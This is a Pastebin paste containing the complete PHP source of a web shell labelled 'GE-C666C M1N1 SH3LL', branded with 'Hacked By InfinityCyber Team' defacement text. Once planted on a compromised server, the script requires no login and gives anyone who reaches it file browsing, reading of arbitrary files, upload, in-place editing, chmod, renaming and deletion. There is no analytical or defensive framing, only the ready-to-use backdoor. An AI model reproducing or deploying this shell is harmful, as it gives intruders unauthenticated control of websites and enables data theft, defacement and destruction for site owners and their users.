Advertisement
Guest User

Untitled

a guest
Nov 18th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.54 KB | None | 0 0
  1. <?php
  2. // ######################
  3. // # GH05T666 #
  4. // # GE-OFFICIAL #
  5. // ######################
  6. error_reporting(0);
  7. set_time_limit(0);
  8.  
  9. if(get_magic_quotes_gpc()){
  10. foreach($_POST as $key=>$value){
  11. $_POST[$key] = stripslashes($value);
  12. }
  13. }
  14. echo '<!DOCTYPE HTML>
  15. <html>
  16. <head>
  17. <link href="" rel="stylesheet" type="text/css">
  18. <meta property="og:title" content="Hacked By InfinityCyber Team">
  19. <meta property="og:description" content="Im Life In Your Security">
  20. <meta property="og:image" content="https://i.ibb.co/1Z006j7/20190819-141251.jpg">
  21. <link rel="SHORTCUT ICON" href="https://i.ibb.co/1Z006j7/20190819-141251.jpg">
  22. <title>GE-C666C M1N1 SH3LL</title>
  23. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
  24. <link href="https://fonts.googleapis.com/css?family=Bahiana|Black+Ops+One|Josefin+Slab |New+Rocker|Quicksand|Wallpoet|orbitron" rel="stylesheet">
  25. <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css">
  26. <iframe width="0" height="0" src="https://j.top4top.net/m_1255r25qh0.mp3" frameborder="0" allowfullscreen></iframe>
  27. <style>
  28. body{
  29. font-family: New Rocker;
  30. background-color: #000000;
  31. background size: 100px 100px;
  32. color:white;
  33. }
  34. background-color: #006400;
  35. color:white;
  36. }
  37. input type=submit {
  38. background: #8B0000;
  39. color: white;
  40. }
  41. #content tr:hover{
  42. background-color: #8B0000;
  43. color:white;
  44. }
  45. #content .first{
  46. background-color: #8B0000;
  47. color:white;
  48. }
  49. table{
  50. border: 1px #8B0000 dotted;
  51. }
  52. a{
  53. color:white;
  54. text-decoration: none;
  55. }
  56. a:hover{
  57. color:white;
  58. }
  59. .button-flat {
  60. border: 1px solid #801515; /* border: tebal[px] tipe[solid,dashed,dotted] warna[#hex, rgb()]; */
  61. background-image: url("http://creepyfiles.com/wp-content/uploads/2018/02/Eye.gif"); /* ubah warna background */
  62. background-size: cover;
  63. color: #FFFFFF; /* ubah warna font */
  64. font-size: 16px; /* ubah ukuran font */
  65. padding: 0.5em 1em 0.5em 1em; /* padding: top right bottom left; */
  66. }
  67. .button-flat:hover {
  68. opacity: 0.8; /* ubah tingkat transparansi saat cursor menuju button. 0.0 s.d 1.0 */
  69. }
  70. .button-flat:active {
  71. background-image: url("https://dcywrb6nqrsdp.cloudfront.net/attachment/36798695756371715254.large"); /* ubah background saat button ditekan */
  72. }
  73. input,select,textarea{
  74. border: 1px #000000 solid;
  75. -moz-border-radius: 5px;
  76. -webkit-border-radius:5px;
  77. border-radius:5px;
  78. }
  79. </style>
  80. </head>
  81. <body>
  82. <center><img src="https://i.ibb.co/YfVH27Y/20190819-123341.png" width="170" height="130"> </center>
  83. <table width="100%" class="table_home" border="0" cellpadding="3"
  84.  
  85. cellspacing="1" align="center">
  86. <tr><td><font color="white"><center></font> ';
  87. if(isset($_GET['path'])){
  88. $path = $_GET['path'];
  89. }else{
  90. $path = getcwd();
  91. }
  92. $path = str_replace('\\','/',$path);
  93. $paths = explode('/',$path);
  94.  
  95. foreach($paths as $id=>$pat){
  96. if($pat == '' && $id == 0){
  97. $a = true;
  98. echo '<a href="?path=/">/</a>';
  99. continue;
  100. }
  101. if($pat == '') continue;
  102. echo '<a href="?path=';
  103. for($i=0;$i<=$id;$i++){
  104. echo "$paths[$i]";
  105. if($i != $id) echo "/";
  106. }
  107. echo '">'.$pat.'</a>/';
  108. }
  109. echo '</td></tr><tr><td>';
  110. if(isset($_FILES['file'])){
  111. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  112. echo '<center>';
  113. echo '<center><font color="green">Success</font></center><br />';
  114. }else{
  115. echo '<center><font color="red">Failed</font></center><br/>';
  116. }
  117. }
  118. echo '<form enctype="multipart/form-data" method="POST">
  119. <font color="white"><center></font> <input type="file" name="file"/>
  120. <input type="submit" class="button-flat" value="upload" />
  121. </form>';
  122. echo '</td></tr>';
  123. if(isset($_GET['filesrc'])){
  124. echo "<tr><td>Current File : ";
  125. echo $_GET['filesrc'];
  126. echo '</tr></td></table><br />';
  127. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  128. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  129. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  130. if($_POST['opt'] == 'chmod'){
  131. if(isset($_POST['perm'])){
  132. if(chmod($_POST['path'],$_POST['perm'])){
  133. echo '<font color="green">Success</font><br/>';
  134. }else{
  135. echo '<font color="red">Failed</font><br />';
  136. }
  137. }
  138. echo '<form method="POST">
  139. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf
  140.  
  141. ('%o', fileperms($_POST['path'])), -4).'" />
  142. <input type="hidden" name="path" value="'.$_POST['path'].'">
  143. <input type="hidden" name="opt" value="chmod">
  144. <input type="submit" value="Go" />
  145. </form>';
  146. }elseif($_POST['opt'] == 'rename'){
  147. if(isset($_POST['newname'])){
  148. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  149. echo '<font color="green">Success</font><br/>';
  150. }else{
  151. echo '<font color="red">Failed</font><br />';
  152. }
  153. $_POST['name'] = $_POST['newname'];
  154. }
  155. echo '<form method="POST">
  156. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  157. <input type="hidden" name="path" value="'.$_POST['path'].'">
  158. <input type="hidden" name="opt" value="rename">
  159. <input type="submit" value="Go" />
  160. </form>';
  161. }elseif($_POST['opt'] == 'edit'){
  162. if(isset($_POST['src'])){
  163. $fp = fopen($_POST['path'],'w');
  164. if(fwrite($fp,$_POST['src'])){
  165. echo '<font color="lime">Berhasil Edit File</font><br/>';
  166. }else{
  167. echo '<font color="pink">Gagal Edit File</font><br/>';
  168. }
  169. fclose($fp);
  170. }
  171. echo '<form method="POST">
  172. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  173. <input type="hidden" name="path" value="'.$_POST['path'].'">
  174. <input type="hidden" name="opt" value="edit">
  175. <input type="submit" value="Save" />
  176. </form>';
  177. }
  178. echo '</center>';
  179. }else{
  180. echo '</table><br/><center>';
  181. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  182. if($_POST['type'] == 'dir'){
  183. if(rmdir($_POST['path'])){
  184. echo '<font color="green">Success</font><br/>';
  185. }else{
  186. echo '<font color="red">Failed
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196. </font><br/>';
  197. }
  198. }elseif($_POST['type'] == 'file'){
  199. if(unlink($_POST['path'])){
  200. echo '<font color="green">Success</font><br/>';
  201. }else{
  202. echo '<font color="red">Failed</font><br/>';
  203. }
  204. }
  205. }
  206. echo '</center>';
  207. $scandir = scandir($path);
  208. echo '<div id="content"><table width="100%" border="0" cellpadding="3"
  209.  
  210. cellspacing="1" align="center">
  211. <tr class="first">
  212. <td><center>Nama</peller></center></td>
  213. <td><center>Size</peller></center></td>
  214. <td><center>Permission</peller></center></td>
  215. <td><center>Modify</peller></center></td>
  216. </tr>';
  217.  
  218. foreach($scandir as $dir){
  219. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  220. echo '<tr>
  221. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  222. <td><center>--</center></td>
  223. <td><center>';
  224. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  225. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  226. echo perms($path.'/'.$dir);
  227. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo
  228.  
  229. '</font>';
  230.  
  231. echo '</center></td>
  232. <td><center><form method="POST" action="?option&path='.$path.'">
  233. <select name="opt">
  234. <option value="">Pilih</option>
  235. <option value="delete">Hapus</option>
  236. <option value="chmod">Chmod</option>
  237. <option value="rename">Ubah Nama</option>
  238. </select>
  239. <input type="hidden" name="type" value="dir">
  240. <input type="hidden" name="name" value="'.$dir.'">
  241. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  242. <input type="submit" value=">">
  243. </form></center></td>
  244. </tr>';
  245. }
  246. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  247. foreach($scandir as $file){
  248. if(!is_file($path.'/'.$file)) continue;
  249. $size = filesize($path.'/'.$file)/1024;
  250. $size = round($size,3);
  251. if($size >= 1024){
  252. $size = round($size/1024,2).' MB';
  253. }else{
  254. $size = $size.' KB';
  255. }
  256.  
  257. echo '<tr>
  258. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  259. <td><center>'.$size.'</center></td>
  260. <td><center>';
  261. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  262. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  263. echo perms($path.'/'.$file);
  264. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo
  265.  
  266. '</font>';
  267. echo '</center></td>
  268. <td><center><form method="POST" action="?option&path='.$path.'">
  269. <select name="opt">
  270. <option value="">Pilih</option>
  271. <option value="delete">Hapus</option>
  272. <option value="chmod">Chmod</option>
  273. <option value="rename">Ubah Nama</option>
  274. <option value="edit">Edit</option>
  275. </select>
  276. <input type="hidden" name="type" value="file">
  277. <input type="hidden" name="name" value="'.$file.'">
  278. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  279. <input type="submit" value=">">
  280. </form></center></td>
  281. </tr>';
  282. }
  283. echo '</table>
  284. </div>';
  285. }
  286. echo "<font color='red'><br><tr><center><a href='?logout=true'>Logout</a></center></font>";
  287. echo '</body>
  288. </html>';
  289. if($_GET['logout'] == true) {
  290. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  291. echo "<script>window.location='?';</script>";
  292. }
  293. function perms($file){
  294. $perms = fileperms($file);
  295.  
  296. if (($perms & 0xC000) == 0xC000) {
  297. // Socket
  298. $info = 's';
  299. } elseif (($perms & 0xA000) == 0xA000) {
  300. // Symbolic Link
  301. $info = 'l';
  302. } elseif (($perms & 0x8000) == 0x8000) {
  303. // Regular
  304. $info = '-';
  305. } elseif (($perms & 0x6000) == 0x6000) {
  306. // Block special
  307. $info = 'b';
  308. } elseif (($perms & 0x4000) == 0x4000) {
  309. // Directory
  310. $info = 'd';
  311. } elseif (($perms & 0x2000) == 0x2000) {
  312. // Character special
  313. $info = 'c';
  314. } elseif (($perms & 0x1000) == 0x1000) {
  315. // FIFO pipe
  316. $info = 'p';
  317. } else {
  318. // Unknown
  319. $info = 'u';
  320. }
  321.  
  322. // Owner
  323. $info .= (($perms & 0x0100) ? 'r' : '-');
  324. $info .= (($perms & 0x0080) ? 'w' : '-');
  325. $info .= (($perms & 0x0040) ?
  326. (($perms & 0x0800) ? 's' : 'x' ) :
  327. (($perms & 0x0800) ? 'S' : '-'));
  328.  
  329.  
  330. // Group
  331. $info .= (($perms & 0x0020) ? 'r' : '-');
  332. $info .= (($perms & 0x0010) ? 'w' : '-');
  333. $info .= (($perms & 0x0008) ?
  334. (($perms & 0x0400) ? 's' : 'x' ) :
  335. (($perms & 0x0400) ? 'S' : '-'));
  336.  
  337. // World
  338. $info .= (($perms & 0x0004) ? 'r' : '-');
  339. $info .= (($perms & 0x0002) ? 'w' : '-');
  340. $info .= (($perms & 0x0001) ?
  341. (($perms & 0x0200) ? 't' : 'x' ) :
  342. (($perms & 0x0200) ? 'T' : '-'));
  343.  
  344. return $info;
  345. }
  346. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement